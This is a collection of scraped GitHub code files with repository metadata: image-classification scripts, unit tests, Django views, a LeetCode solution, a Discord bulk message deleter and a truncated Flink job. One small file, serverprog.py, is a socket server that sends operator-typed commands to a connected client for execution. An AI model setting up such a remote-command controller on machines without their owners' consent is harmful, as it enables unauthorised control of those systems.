mesh_width = math.ceil(img_width/meshsize)\n mesh_height = math.ceil(img_height/meshsize)\n slidewindows_mesh = []\n meshlen = int(mesh_width * mesh_height)\n for i in range(meshlen):\n slidewindows_mesh.append([])\n for i in slidewindows:\n center_x = i.x - 1 + int(math.floor(i.windowsize/2))\n center_y = i.y - 1 + int(math.floor(i.windowsize/2))\n if center_x <= 0 : center_x = 1\n if center_y <= 0 : center_y = 1\n if center_x > img_width: center_x = img_width\n if center_y > img_height: center_y = img_height\n idx_x = int(math.ceil(center_x/meshsize))\n idx_y = int(math.ceil(center_y/meshsize))\n slidewindows_mesh[mesh_width * (idx_y - 1) + idx_x - 1].append(i)\n return slidewindows, slidewindows_mesh\n\ndef predictor(data,cnn_path,batch,gpu = 0):\n cnn_classifier = os.path.join(cnn_path[0], cnn_path[1])\n cnn_optimizer = os.path.join(cnn_path[0], cnn_path[2])\n model = L.Classifier(vehicle_classify_CNN())\n optimizer = optimizers.SGD()\n serializers.load_npz(cnn_classifier, model)\n optimizer.setup(model)\n serializers.load_npz(cnn_optimizer, optimizer)\n\n if gpu == 1:\n model.to_gpu()\n r = list(range(0, len(data), batch))\n r.pop()\n for i in r:\n if gpu == 1:x = cuda.to_gpu(data[i:i+batch])\n else:x = data[i:i+batch]\n result = F.softmax(model.predictor(x).data).data.argmax(axis=1)\n if gpu == 1:result = cuda.to_cpu(result)\n if i == 0:\n results = result\n else:\n results = np.concatenate((results, result), axis=0)\n if len(r) == 0:j=0\n else:j = i + batch\n if gpu == 1:x = cuda.to_gpu(data[j:])\n else:x = data[j:]\n result = F.softmax(model.predictor(x).data).data.argmax(axis=1)\n if gpu == 1: result = cuda.to_cpu(result)\n if len(r) == 0:\n results = result\n else:\n results = np.concatenate((results, result), axis=0)\n return results\n\ndef main():\n TestOnly = False\n procDIR = True # ディレクトリ内ファイル一括処理\n showImage = False # 処理後画像表示 ディレクトリ内処理の場合はオフ\n imgpath = \"C:/work/vehicle_detection/images/test/kurume_yumetown.tif\" # 単一ファイル処理\n test_dir = \"../vehicle_detection/images/test/\"\n result_dir = \"../vehicle_detection/images/test/sHDNN/reverse\" #\"\"../vehicle_detection/images/result/\"\n cnn_dir = \"model/vd_bg35_rot_noBING_Adam/\"\n cnn_classifier = \"gradient_cnn.npz\"\n cnn_optimizer = \"gradient_optimizer.npz\"\n mean_image_dir = \"\"\n mean_image_file = \"mean_image.npy\"\n logfile_name = \"gradient_cnn.log\"\n windowsize_default = 35 #18,35\n gpuEnable = 1 # 1:有効化\n batchsize = 50\n efactor = 1.414\n locatedistance = 0.45\n overlap_sort_reverse = True\n meshsize = 50\n\n geoRef = True\n shpOutput = True\n\n if result_dir == \"\":\n if procDIR: result_dir = test_dir\n else: result_dir = os.path.dirname(imgpath)\n if mean_image_dir == \"\": mean_image_dir = cnn_dir\n mean_image_path = os.path.join(mean_image_dir,mean_image_file)\n cnn_path = [cnn_dir, cnn_classifier, cnn_optimizer]\n slide_param ={\"efactor\":efactor, \"locatedistance\":locatedistance}\n\n date = datetime.now()\n startdate = date.strftime('%Y/%m/%d %H:%M:%S')\n f_startdate = date.strftime('%Y%m%d_%H%M%S')\n result_dir = os.path.join(result_dir, \"result_sHDNN_\" + f_startdate)\n logfile_path = os.path.join(result_dir, logfile_name)\n if not os.path.isdir(result_dir):\n os.makedirs(result_dir)\n\n logger = logging.getLogger(__name__)\n s_handler = logging.StreamHandler()\n s_handler.setLevel(logging.DEBUG)\n f_handler = logging.FileHandler(logfile_path)\n f_handler.setLevel(logging.DEBUG)\n logger.setLevel(logging.DEBUG)\n logger.addHandler(s_handler)\n logger.addHandler(f_handler)\n\n logger.debug(\"All Execution Start:\" + startdate)\n logger.debug(\"Test Only :%s\", str(TestOnly))\n logger.debug(\"Process Directory :%s\",str(procDIR))\n\n img_files = []\n img_files_ignored = []\n\n if procDIR: #処理可の画像ファイルを確認\n tmp = os.listdir(test_dir)\n files = sorted([os.path.join(test_dir, x) for x in tmp if os.path.isfile(test_dir + x)])\n for i in files:\n root, ext = os.path.splitext(i)\n if ext == \".tif\" or ext == \".jpg\" or ext == \".png\":\n cfgpath = root + \".cfg\"\n gt_file = root + \".txt\"\n if not TestOnly:\n if not os.path.isfile(gt_file):\n logger.debug(\"No groundtruth file for validation: %s is ignored.\", i)\n img_files_ignored.append(i)\n else:\n if not os.path.isfile(cfgpath):\n logger.warn(\"No windowsize .cfg: Default windowsize is used for %s.\", i)\n img_files.append(i)\n else:\n img_files.append(i)\n logger.debug(\"%d target file(s):\", len(img_files))\n for i in img_files:\n logger.debug(\" \" + i)\n logger.debug(\"%d ignored file(s):\", len(img_files_ignored))\n all_exec_time = time.time()\n else:\n img_files.append(imgpath)\n\n logger.debug(\"CNN classifier dir:%s\", cnn_dir)\n logger.debug(\"GPU Enable:%d\", gpuEnable)\n logger.debug(\"Batchsize:%d\", batchsize)\n logger.debug(\"Enlarge Factor:%f\", efactor)\n logger.debug(\"Positive Window Distance:%f\", locatedistance)\n logger.debug(\"Overlap Sort Reverse:%s\", str(overlap_sort_reverse))\n\n overAcc = 0\n\n for imgpath in img_files:\n\n date = datetime.now()\n startdate = date.strftime('%Y/%m/%d %H:%M:%S')\n f_startdate = date.strftime('%Y%m%d_%H%M%S')\n\n logger.debug(\"Execution:\" + startdate)\n exec_time = time.time()\n\n logger.debug(\"Image: \" + imgpath)\n\n img = cv.imread(imgpath)\n\n logger.debug(\"img shape:\"+str(img.shape))\n\n root,ext = os.path.splitext(imgpath)\n gt_file = root + \".txt\"\n cfgpath = root+\".cfg\"\n if not os.path.isfile(cfgpath):\n logger.warn(\"No windowsize .cfg: Default windowsize %d is used for %s.\", windowsize_default, imgpath)\n gtwindowsize = windowsize_default\n else:\n cfg = open(cfgpath,\"r\")\n gtwindowsize = int(cfg.readline())\n v_windowsize = gtwindowsize - 1\n\n init_slidewindowsize = int(round(gtwindowsize / efactor))\n slidewindowsize = int(round(init_slidewindowsize * efactor))\n\n logger.debug(\"making sliding windows for each gradient image...\")\n start = time.time()\n slidewindows, slidewindows_mesh = getslidewindows(img,init_slidewindowsize,meshsize,slide_param,overlap_sort_reverse)\n end = time.time()\n time_makingslides = end - start\n logger.debug(\"finished.(%.3f seconds)\" % time_makingslides)\n\n # img_ = np.array(img) #処理途中のスライドウィンドウ可視化\n # for i in slidewindows:\n # i.draw_(img_)\n # cv.imwrite(\"gradient_slidingwindows.jpg\",img_)\n # w = 0.6\n # x,y,c = img_.shape\n # x = int(x*w)\n # y = int(y*w)\n # img_ = cv.resize(img_,(y,x))\n # cv.imshow(\"test\",img_)\n # cv.waitKey(0)\n # cv.destroyAllWindows()\n\n windowimgs = []\n for i in slidewindows:\n windowimgs.append(i.windowimg(img))\n\n npwindows = np.array(windowimgs,np.float32)\n #np.save(\"windows.npy\",npwindows)\n\n logger.debug(\"number of windows:%s size:%d\",str(len(slidewindows)),slidewindowsize)\n\n mean_image = np.load(mean_image_path) #平均画像ロード\n npwindows -= mean_image\n\n logger.debug(\"predicting windows...\")\n start = time.time()\n results = predictor(npwindows,cnn_path,batchsize,gpu=gpuEnable)\n end = time.time()\n time_predicting = end - start\n logger.debug(\"finished.(%.3f seconds)\" % time_predicting)\n for i in range(len(slidewindows)):\n slidewindows[i].result = results[i]\n\n if TestOnly:\n result_testonly = np.array(img)\n for i in slidewindows:\n i.draw(result_testonly,\"TESTONLY\")\n else: # Validating Detection result\n logger.debug(\"analyzing results...\")\n start = time.time()\n vehicle_list = make_bboxeslist(gt_file)\n vehicle_detected = [False]*len(vehicle_list)\n\n y, x, channel = img.shape\n mesh_width = int(math.ceil(x / meshsize))\n mesh_height = int(math.ceil(y / meshsize))\n\n for i in vehicle_list: #groundtruthの矩形を正方形に拡張\n if (i[2]-i[0]) < v_windowsize:\n if i[0] == 0:i[0] = i[2] - v_windowsize\n else:i[2] = i[0] + v_windowsize\n if (i[3] - i[1]) < v_windowsize:\n if i[1] == 0:\n i[1] = i[3] - v_windowsize\n else:\n i[3] = i[1] + v_windowsize\n\n for i in range(len(vehicle_list)):\n gt_x = int(math.floor(vehicle_list[i][0] - 1 + (vehicle_list[i][2] - vehicle_list[i][0] + 1)/2))\n gt_y = int(math.floor(vehicle_list[i][1] - 1 + (vehicle_list[i][3] - vehicle_list[i][1] + 1)/2))\n idx_width = [int(math.ceil(gt_x / meshsize))]\n idx_height = [int(math.ceil(gt_y / meshsize))]\n if idx_width[0] != 1:idx_width.append(idx_width[0]-1)\n if idx_width[0] != mesh_width:idx_width.append(idx_width[0]+1)\n if idx_height[0] != 1:idx_height.append(idx_height[0]-1)\n if idx_height[0] != mesh_height:idx_height.append(idx_height[0]+1)\n for k in idx_width:\n for l in idx_height:\n for j in slidewindows_mesh[(l-1) * mesh_width + k - 1]:\n if j.cover(vehicle_list[i]):\n if j.result == 1:\n vehicle_detected[i] = True\n\n end = time.time()\n time_analysis = end - start\n\n logger.debug('finished.(%.3f seconds)' % time_analysis)\n\n TP,TN,FP,FN = 0,0,0,0\n detectobjects = 0\n\n result_img1 = np.array(img)\n result_img2 = np.array(img)\n\n for i in slidewindows:\n if i.result == 1 and i.vehiclecover == True:TP += 1\n elif i.result == 0 and i.vehiclecover == False:TN += 1\n elif i.result == 1 and i.vehiclecover == False:FP += 1\n else:FN += 1\n if i.result == 1:detectobjects += 1\n i.draw(result_img1, {\"TP\":True, \"FP\":True, \"FN\":True})\n i.draw(result_img2, {\"TP\": True, \"FP\": True, \"FN\": False})\n\n FAR = FP / len(vehicle_detected)\n PR = vehicle_detected.count(True)/detectobjects if detectobjects != 0 else None\n RR = vehicle_detected.count(True)/len(vehicle_detected) if len(vehicle_detected) != 0 else None\n Accuracy = (TP + TN) / (TP + TN + FP + FN)\n overAcc += Accuracy\n\n exec_time = time.time() - exec_time\n\n logger.debug(\"---------result--------\")\n logger.debug(\"Overall Execution time :%.3f seconds\", exec_time)\n logger.debug(\"Detected Objects :%d\", detectobjects)\n\n if not TestOnly:\n logger.debug(\"GroundTruth vehicles :%d\", len(vehicle_detected))\n logger.debug(\"FAR(False alarm rate) :%.3f\", FAR)\n logger.debug(\"PR(d vehicles/d objects):%d/%d %s\", vehicle_detected.count(True),detectobjects,str(PR))\n logger.debug(\"RR(detected vehicles) :%d/%d %s\", vehicle_detected.count(True),len(vehicle_detected),str(RR))\n logger.debug(\"TP,TN,FP,FN :%d,%d,%d,%d\", TP, TN, FP, FN)\n logger.debug(\"Accuracy:%.3f\", Accuracy)\n\n\n if geoRef:\n from osgeo import gdal\n from geoproc import saveGeoTiff, getCoords, savePointshapefile\n gimg = gdal.Open(imgpath)\n SpaRef = gimg.GetProjection()\n geoTransform = gimg.GetGeoTransform()\n if SpaRef == \"\":\n geoRef = False\n\n img_bsname = os.path.basename(imgpath) # 結果画像出力\n root, exe = os.path.splitext(img_bsname)\n exe = \".tif\" if geoRef else \".jpg\"\n result_testonly_path = os.path.join(result_dir, root + \"_sHDNN_TESTONLY\" + f_startdate + exe)\n result_img1_path = os.path.join(result_dir, root + \"_sHDNN_TP_FP_FN\" + f_startdate + exe)\n result_img2_path = os.path.join(result_dir, root + \"_sHDNN_TP_FP\" + f_startdate + exe)\n shpdir = os.path.join(result_dir,\"shp\")\n shppath = os.path.join(shpdir, root + \"sHDNN_vc_detected\" + f_startdate + \".shp\")\n\n if geoRef:\n if TestOnly:\n saveGeoTiff(result_testonly, result_testonly_path, geoTransform, SpaRef)\n else:\n saveGeoTiff(result_img1,result_img1_path,geoTransform,SpaRef)\n saveGeoTiff(result_img2, result_img2_path,geoTransform,SpaRef)\n if shpOutput:\n if not os.path.isdir(shpdir):\n os.makedirs(shpdir)\n vehicle_points_raw = []\n for i in slidewindows:\n if i.result == 1:vehicle_points_raw.append(i.getCenter())\n vehicle_points = getCoords(geoTransform, vehicle_points_raw)\n savePointshapefile(vehicle_points,\"vehicles\",SpaRef,shppath)\n\n if not geoRef:\n if TestOnly:\n cv.imwrite(result_testonly_path,result_testonly)\n else:\n cv.imwrite(result_img1_path, result_img1)\n cv.imwrite(result_img2_path,result_img2)\n\n if not(procDIR) and showImage: #結果画像表示\n if TestOnly:\n img = result_testonly\n else:\n img = result_img1\n w = 0.6\n x,y,c = img.shape\n x = int(x*w)\n y = int(y*w)\n img = cv.resize(img,(y,x))\n cv.imshow(\"test\",img)\n cv.waitKey(0)\n cv.destroyAllWindows()\n\n logger.debug(\"\")\n\n if procDIR:\n all_exec_time = time.time() - all_exec_time\n overAcc = overAcc / len(img_files)\n logger.debug(\"all exec time:%.3f seconds\" % all_exec_time)\n logger.debug(\"Overall Accuracy:%.3f\", overAcc)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"monotaro3/sHDNN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":28070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72458733347","text":"import tflearn\nfrom tflearn.data_utils import shuffle, to_categorical\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.conv import conv_2d, max_pool_2d, global_avg_pool\nfrom tflearn.layers.estimator import regression\nfrom tflearn.layers.normalization import batch_normalization\nfrom tflearn.data_preprocessing import ImagePreprocessing\nfrom tflearn.data_augmentation import ImageAugmentation\nimport numpy as np\nfrom load_input import load_train_data\n\n\nX_train, Y_train = load_train_data()\nX_train, Y_train = shuffle(X_train, Y_train)\nprint('shuffle done')\n\nX_val = X_train[2000:4000]\nY_val = Y_train[2000:4000]\nnetwork = input_data(shape=[None, 32, 32, 3])\n\nnetwork = conv_2d(network, 16, 3, activation='relu', weights_init='xavier')\nnetwork = batch_normalization(network)\n\nnetwork = conv_2d(network, 16, 3, activation='relu', weights_init='xavier') \nnetwork = max_pool_2d(network, 2)\nnetwork = batch_normalization(network)\n\nnetwork = conv_2d(network, 32, 3, activation='relu', weights_init='xavier') \nnetwork = max_pool_2d(network, 2)\nnetwork = batch_normalization(network)\n\nnetwork = conv_2d(network, 32, 3, activation='relu', weights_init='xavier')\nnetwork = max_pool_2d(network, 2)\nnetwork = batch_normalization(network)\n\n\nnetwork = conv_2d(network, 64, 3, activation='relu', weights_init='xavier')\nnetwork = max_pool_2d(network, 2)\nnetwork = batch_normalization(network)\n\nnetwork = fully_connected(network, 256, activation='relu', weights_init='xavier')\nnetwork = dropout(network, 0.25)\n\n\nnetwork = fully_connected(network, 10, activation='softmax', weights_init='xavier')\n\n\nnetwork = regression(network, optimizer='adam',\n loss='categorical_crossentropy',\n learning_rate=0.001)\n\nmodel = tflearn.DNN(network, tensorboard_verbose=0)\n\nmodel.fit(X_train, Y_train, n_epoch=10, shuffle=True, validation_set=(X_val, Y_val),\n show_metric=True, batch_size=100,\n snapshot_epoch=True,\n run_id='svhn_1')\n\nmodel.save(\"svhn_1.tfl\")\nprint(\"Network trained and saved as svhn_1.tfl!\")","repo_name":"codemukul95/SVHN-classification-using-Tensorflow","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"70"} +{"seq_id":"21019645659","text":"\"\"\"test_class_parametrization.py\"\"\"\nimport pytest\nimport unittest\nfrom Package.Options import Operations\n\n\nclass TestOptions(unittest.TestCase):\n operator = Operations()\n\n def test_input_validation_valid_data(self):\n test_data = ['1/2 + 1/4', '3_1/2 - 1/4', '1/2 - -1_1/4', '1_1/12 + 3_1/2']\n for data in test_data:\n self.assertTrue(self.operator.input_validation(data), 'Input data should be true')\n\n def test_input_validation_not_valid_fractions(self):\n test_data = ['1/2 + 1/b', '1/b + 1/b', '1/b + 1/b', 'a/b + a/b', 'a/2 + a/2', '1/b + 1/2', '1_1/b + 3_1/2']\n for data in test_data:\n self.assertFalse(self.operator.input_validation(data), 'Input data should be true')\n\n def test_input_invalid_operation(self):\n test_data = ['1/b > 1/2', '1/b L 1/2', '1/b ** 1/2']\n for data in test_data:\n self.assertFalse(self.operator.input_validation(data), 'The operations is valid')\n\n def test_input_missing_parameters(self):\n self.assertFalse(self.operator.input_validation('1/b 1/2'), 'There are not enough parameters to '\n 'perform the operation')\n\n def test_more_parameters(self):\n self.assertFalse(self.operator.input_validation('1/3 + 1/2 + 1/8 *8'), 'There are more parameters than expected'\n )\n\n def test_get_result_correct(self):\n test_data = [{'operand1': '1/2', 'operation': '+', 'operand2': '1/4', 'result': '3/4'},\n {'operand1': '1/2', 'operation': '-', 'operand2': '2', 'result': '-1_1/2'},\n {'operand1': '4/24', 'operation': '/', 'operand2': '1/7', 'result': '1_1/6'},\n {'operand1': '11/5', 'operation': '*', 'operand2': '17/5', 'result': '7_12/25'}\n ]\n for data in test_data:\n self.operator.set_parameters(data['operand1'], data['operation'], data['operand2'])\n self.assertEqual(str(self.operator.get_result()), data['result'], f'The result of the operation '\n f'is not correct')\n","repo_name":"artur92/FractionsChallenges","sub_path":"UnitTest/test_Options.py","file_name":"test_Options.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43728797821","text":"import time\nimport socket\nimport sys\nimport os\n\nsoc = socket.socket()\nhost = socket.gethostname()\nport = 8080\nsoc.bind(('',port))\n\nprint(\"waiting for connection... ... ...\")\nsoc.listen()\nconn, addr = soc.accept()\n\nprint(addr, \"is connected to server\")\ncommand = input(str(\"Enter Command\"))\nconn.send(command.encode())\nprint(\"Command has been sent successfully\")\ndata = conn.recv(1024)\n\nif data:\n print(\"Command received and successfully executed\")\n\n","repo_name":"nn2029/Projects","sub_path":"remote_pc/serverprog.py","file_name":"serverprog.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42977166241","text":"from myproject.news.models import Entry\nfrom myproject.shortcuts import render\n\nfrom django.shortcuts import get_object_or_404\n\nimport datetime\n\ndef index(request):\n today = datetime.datetime.today()\n this_month = today.month\n this_year = today.year\n \n month = request.GET.get('month', this_month)\n year = request.GET.get('year', this_year)\n \n try:\n month, year = int(month), int(year)\n except ValueError:\n month, year = this_month, this_year\n \n if month not in range(1, 13) or year not in range(10000):\n month, year = this_month, this_year\n \n entries = Entry.objects.filter(created_on__year=year,\n created_on__month=month)\n \n return render(request, 'news/index.html',\n {'entries': entries,\n 'year_range': xrange(2009, year + 1),\n 'current_year': year,\n 'current_month': month})\n\ndef view(request, slug):\n entry = get_object_or_404(Entry, slug=slug)\n return render(request, 'news/entry.html', {'entry': entry})\n","repo_name":"joaquinquintas/Oktosys-CMS","sub_path":"myproject/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"29566090541","text":"'''\n1436. Destination City\n\nYou are given the array paths, where paths[i] = [cityAi, cityBi] means there exists a direct path going from cityAi to cityBi. Return the destination city, that is, the city without any path outgoing to another city.\n\nIt is guaranteed that the graph of paths forms a line without any loop, therefore, there will be exactly one destination city.\n\n \n\nExample 1:\n\nInput: paths = [[\"London\",\"New York\"],[\"New York\",\"Lima\"],[\"Lima\",\"Sao Paulo\"]]\nOutput: \"Sao Paulo\" \nExplanation: Starting at \"London\" city you will reach \"Sao Paulo\" city which is the destination city. Your trip consist of: \"London\" -> \"New York\" -> \"Lima\" -> \"Sao Paulo\".\nExample 2:\n\nInput: paths = [[\"B\",\"C\"],[\"D\",\"B\"],[\"C\",\"A\"]]\nOutput: \"A\"\nExplanation: All possible trips are: \n\"D\" -> \"B\" -> \"C\" -> \"A\". \n\"B\" -> \"C\" -> \"A\". \n\"C\" -> \"A\". \n\"A\". \nClearly the destination city is \"A\".\nExample 3:\n\nInput: paths = [[\"A\",\"Z\"]]\nOutput: \"Z\"\n \n\nConstraints:\n\n1 <= paths.length <= 100\npaths[i].length == 2\n1 <= cityAi.length, cityBi.length <= 10\ncityAi != cityBi\nAll strings consist of lowercase and uppercase English letters and the space character.\n'''\n\nfrom typing import List\n\n# Slow solution\nclass Solution:\n def destCity(self, paths: List[List[str]]) -> str:\n h = set()\n d = \"\"\n for p in paths:\n h.add(p[0])\n for p in paths:\n if p[1] not in h:\n return p[1]\n\n # Slightly faster with one loop\n def fasterDestCity(self, paths: List[List[str]]) -> str:\n # Keeping track of two sets, one of the possible solutions\n # And one that has entries that have occured twice\n h = set() # All not possible options\n e = set() # All possible options\n \n # Note that by definition our only valid options for set e are second position options\n for p in paths:\n if p[1] in e and p[1] not in h:\n e.remove(p[1])\n h.add(p[1])\n elif p[1] not in h:\n e.add(p[1])\n \n if p[0] in e and p[0] not in h:\n e.remove(p[0])\n h.add(p[0])\n else:\n h.add(p[0])\n \n return e.pop()","repo_name":"AWAlexWeber/python-practice","sub_path":"LeetCode/Solved/Easy/DestinationCity.py","file_name":"DestinationCity.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"25732321301","text":"import click\nfrom datetime import datetime, timezone\nimport logging\nimport random\nimport requests\nimport string\nimport time\nfrom tqdm import tqdm\nfrom typing import Generator, Tuple\n\n\nclass DiscordApiError(Exception):\n def __init__(self, *, http_code: int, details: str) -> None:\n message = ''\n if http_code > 0:\n message += f'[HTTP code: {http_code}] '\n message += details\n super().__init__(message)\n\n\nclass Crawler:\n API_URL = 'https://discordapp.com/api/v6'\n HTTP_CODE_MESSAGES = {\n 400: \"The request was improperly formatted, or the server couldn't understand it.\",\n 401: \"The Authorization header was missing or invalid.\",\n 403: \"The Authorization token you passed did not have permission to the resource.\",\n 404: \"The resource at the location specified doesn't exist.\",\n 405: \"The HTTP method used is not valid for the location specified.\",\n 502: \"There was not a gateway available to process your request. Wait a bit and retry.\",\n '5xx': \"The server had an error processing your request.\",\n }\n RATE_LIMITED_RETRY = 5\n\n def __init__(self, token: str, default_sleep: float):\n self.s = requests.Session()\n self.s.headers.update({\n 'Authorization': token,\n 'Content-Type': 'application/json',\n })\n self.default_sleep = default_sleep\n\n def _request(self, method: str, path: str, params: dict = {}, data=None) -> requests.Response:\n time.sleep(self.default_sleep)\n for i in range(self.RATE_LIMITED_RETRY):\n res = self.s.request(method, f'{self.API_URL}{path}', params, data)\n if res.status_code in self.HTTP_CODE_MESSAGES:\n raise DiscordApiError(http_code=res.status_code, details='\\n'.join([\n self.HTTP_CODE_MESSAGES[res.status_code],\n res.text,\n ]))\n elif 500 <= res.status_code < 600: # server error\n raise DiscordApiError(http_code=res.status_code, details=self.HTTP_CODE_MESSAGES['5xx'])\n elif res.status_code == 429: # rate limits\n retry_after = res.json()['retry_after']\n logging.warning(f'Rate limited. We will sleep {retry_after} ms, and retry it.')\n time.sleep(retry_after / 1000)\n continue\n return res\n\n logging.critical(f'Failed to request it, although we tried at {self.RATE_LIMITED_RETRY} times.')\n\n def search_messages_by_author_id(self, room_id: int, room_type: str, author_id: int,\n oldest_message_id: int, newest_message_id: int) \\\n -> Generator[Tuple[int, list], None, None]:\n offset = 0\n total_results_size = 0\n\n if room_type.lower() in ['channel', 'guild']:\n room_type = room_type.lower() + 's'\n else:\n raise AssertionError('Invalid room_type argument. room_type should be either \"channel\" or \"guild\".')\n\n while True:\n res = self._request('get', f'/{room_type}/{room_id}/messages/search', {\n 'author_id': author_id,\n 'include_nsfw': True,\n 'offset': offset,\n 'sort_by': 'timestamp',\n })\n messages = res.json()\n total_results, messages = messages['total_results'], messages['messages']\n messages = list(map(lambda message_block: list(filter(lambda message: 'hit' in message and message['hit'],\n message_block))[0], messages))\n unfiltered_results_size = len(messages)\n if unfiltered_results_size == 0 or int(messages[0]['id']) < oldest_message_id:\n break\n\n messages = list(filter(lambda message: oldest_message_id <= int(message['id']) <= newest_message_id,\n messages))\n filtered_results_size = len(messages)\n if filtered_results_size == 0:\n offset += unfiltered_results_size\n continue\n\n total_results_size += filtered_results_size\n yield total_results_size, messages\n newest_message_id = int(messages[-1]['id']) - 1\n\n def modify_channel_message_by_message_id(self, channel_id: int, message_id: int, replace_to: str) -> bool:\n try:\n res = self._request('patch', f'/channels/{channel_id}/messages/{message_id}',\n data=f'{{\"content\": \"{replace_to}\"}}')\n return True\n except DiscordApiError as e:\n logging.warning('')\n logging.warning(str(e))\n logging.warning('Skip this message which cannot be done to modify.')\n return False\n\n def delete_channel_message_by_message_id(self, channel_id: int, message_id: int) -> bool:\n try:\n res = self._request('delete', f'/channels/{channel_id}/messages/{message_id}')\n return True\n except DiscordApiError as e:\n logging.warning('')\n logging.warning(str(e))\n logging.warning('Skip this message which cannot be done to delete.')\n return False\n\n\ndef datetime_to_str(t: datetime = datetime.now(timezone.utc)) -> str:\n return datetime.strftime(t, '%Y-%m-%d %H:%M:%S.%f %z')\n\n\ndef str_to_datetime(s: str) -> datetime:\n return datetime.strptime(s, '%Y-%m-%d %H:%M:%S.%f %z')\n\n\ndef generate_random(min_length=5, max_length=30, chars=''.join([string.digits, string.ascii_letters, ' .,!'])):\n return ''.join(random.choice(chars) for _ in range(random.randrange(min_length, max_length + 1)))\n\n\n@click.command()\n@click.option('--token', type=str, required=True, prompt=True, hide_input=True,\n help='A Discord bot/user token')\n@click.option('--token-type', type=click.Choice(['Bot', 'Bearer', 'User'], case_sensitive=False), default='User',\n help='A type of Discord token')\n@click.option('--room-id', type=int, required=True,\n help='The room ID to bulky delete (for searching existed messages)')\n@click.option('--room-type', type=click.Choice(['channel', 'guild']), required=True,\n help='A type of the room')\n@click.option('--author-id', type=int, required=True,\n help='An author ID to bulky delete')\n@click.option('--newest-message-id', type=int, required=True,\n help='A newest message ID to bulky delete (We do not check its validity.)')\n@click.option('--oldest-message-id', type=int, required=True,\n help='A oldest message ID to bulky delete (We do not check its validity.)')\n@click.option('--replace-before-delete', type=click.Choice(['random', 'fixed', 'none'], case_sensitive=False),\n default='None',\n help='Do replace before delete messages?')\n@click.option('--replace-to', type=str,\n help='If --replace-before-delete is \"Fixed\", what message do you replace it to?')\n@click.option('--default-sleep', type=click.FloatRange(min=0), default=0,\n help='Default sleep interval per request (sec)')\ndef main(token, token_type, room_id, room_type, author_id, newest_message_id, oldest_message_id,\n replace_before_delete, replace_to, default_sleep):\n logging.basicConfig(format='%(asctime)s %(levelname)-8s %(funcName)s:%(lineno)d - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S', level=logging.INFO)\n token_str = f'{token_type} {token}' if token_type != 'User' else token\n\n logging.info('Started!')\n\n try:\n crawler = Crawler(token_str, default_sleep)\n generator = crawler.search_messages_by_author_id(room_id, room_type, author_id,\n oldest_message_id, newest_message_id)\n\n newest_message_id = 0\n total_results_size = 0\n failed_count = 0\n\n pbar = tqdm(generator)\n for total_results_size, messages in pbar:\n for message in messages:\n if newest_message_id == 0:\n newest_message_id = int(message['id'])\n newest_message_datetime = message['timestamp']\n\n message_id = int(message['id'])\n channel_id = int(message['channel_id'])\n is_success = True\n if replace_before_delete != 'none':\n if replace_before_delete == 'random':\n replace_to = generate_random()\n is_success = crawler.modify_channel_message_by_message_id(channel_id, message_id, replace_to)\n if is_success:\n if not crawler.delete_channel_message_by_message_id(channel_id, message_id):\n failed_count += 1\n else:\n failed_count += 1\n\n pbar.update(len(messages))\n\n if total_results_size == 0:\n logging.info('')\n logging.info('There are no messages to bulky delete...')\n return\n\n oldest_message_id = int(message['id'])\n oldest_message_datetime = message['timestamp']\n\n logging.info('')\n logging.info(f'Done to bulky delete {total_results_size - failed_count} messages!')\n logging.info(f'Failed to modify or to delete {failed_count} messages.')\n logging.info(f'Message IDs: from {oldest_message_id} to {newest_message_id}')\n logging.info(f'Message Timestamps: from {oldest_message_datetime} to {newest_message_datetime}')\n except Exception as e:\n logging.info('')\n logging.warning('Aborted!')\n raise e\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zxcvasdf123321/discord-chat-cleaner","sub_path":"discord-chat-cleaner.py","file_name":"discord-chat-cleaner.py","file_ext":"py","file_size_in_byte":9662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5993354075","text":"import time\nfrom typing import List\n\nimport ai_flow as af\nfrom ai_flow_plugins.job_plugins import python, flink\nfrom pyflink.table import Table\n\nfrom tensorflow_main import train\n\n\ndef get_model_path():\n return '/Users/nicholas/Downloads/pravega_hackathon/pravega'\n\n\ndef get_data_path():\n return '/Users/nicholas/Downloads/pravega_hackathon/pravega/data'\n\n\ndef get_dependencies_path():\n return '/Users/nicholas/Downloads/pravega_hackathon'\n\n\nclass TrainModel(python.PythonProcessor):\n def process(self, execution_context: python.python_processor.ExecutionContext, input_list: List) -> List:\n train_path = get_data_path() + '/train.csv'\n model_dir = get_model_path() + '/model/base_model'\n save_name = 'base_model'\n train(train_path, model_dir, save_name)\n af.register_model_version(model=execution_context.config['model_info'], model_path=model_dir)\n return []\n\n\nclass Source(flink.FlinkPythonProcessor):\n def __init__(self) -> None:\n super().__init__()\n\n def process(self, execution_context: flink.ExecutionContext, input_list: List[Table] = None) -> List[Table]:\n print(\"### {} setup done2 for {}\".format(self.__class__.__name__, \"sads\"))\n t_env = execution_context.table_env\n\n t_env.get_config().set_python_executable('/usr/local/bin/python')\n print('Source(flink.FlinkPythonProcessor)')\n print(t_env.get_config().get_configuration().to_dict())\n\n t_env.get_config().get_configuration().set_boolean('python.fn-execution.memory.managed', True)\n t_env.get_config().get_configuration().set_string('pipeline.global-job-parameters',\n '\"modelPath:\"\"{}/model/base_model/frozen_model\"\"\"'\n .format(get_model_path()))\n t_env.get_config().get_configuration().set_string('pipeline.classpaths',\n 'file://{}/analytics-zoo-bigdl_0.12.2-spark_2.4.3-0.10.0-serving.jar;'\n 